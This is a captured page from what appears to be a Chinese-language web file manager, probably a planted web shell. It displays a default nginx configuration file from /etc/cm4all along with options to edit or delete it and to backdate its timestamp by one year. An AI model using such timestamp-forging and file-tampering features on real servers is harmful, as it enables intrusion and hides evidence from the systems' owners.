文件操作 - nginx.conf.dpkg-dist
返回文件管理
返回主菜单
删除本文件
文件: /etc/cm4all/nginx/nginx.conf.dpkg-dist
编辑文件内容
#user nobody; worker_processes auto; error_log ""; pid /dev/null; daemon off; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; access_log off; sendfile on; #tcp_nopush on; keepalive_timeout 0; #gzip on; server { listen unix:/dev/fd/0 default_server; server_name _; location / { root /home/www/public_html; index index.html index.htm; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } # proxy the PHP scripts to Apache listening on 127.0.0.1:80 # #location ~ \.php$ { # proxy_pass http://127.0.0.1; #} # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # #location ~ \.php$ { # root html; # fastcgi_pass 127.0.0.1:9000; # fastcgi_index index.php; # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; # include fastcgi_params; #} # deny access to .htaccess files, if Apache's document root # concurs with nginx's one # #location ~ /\.ht { # deny all; #} } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件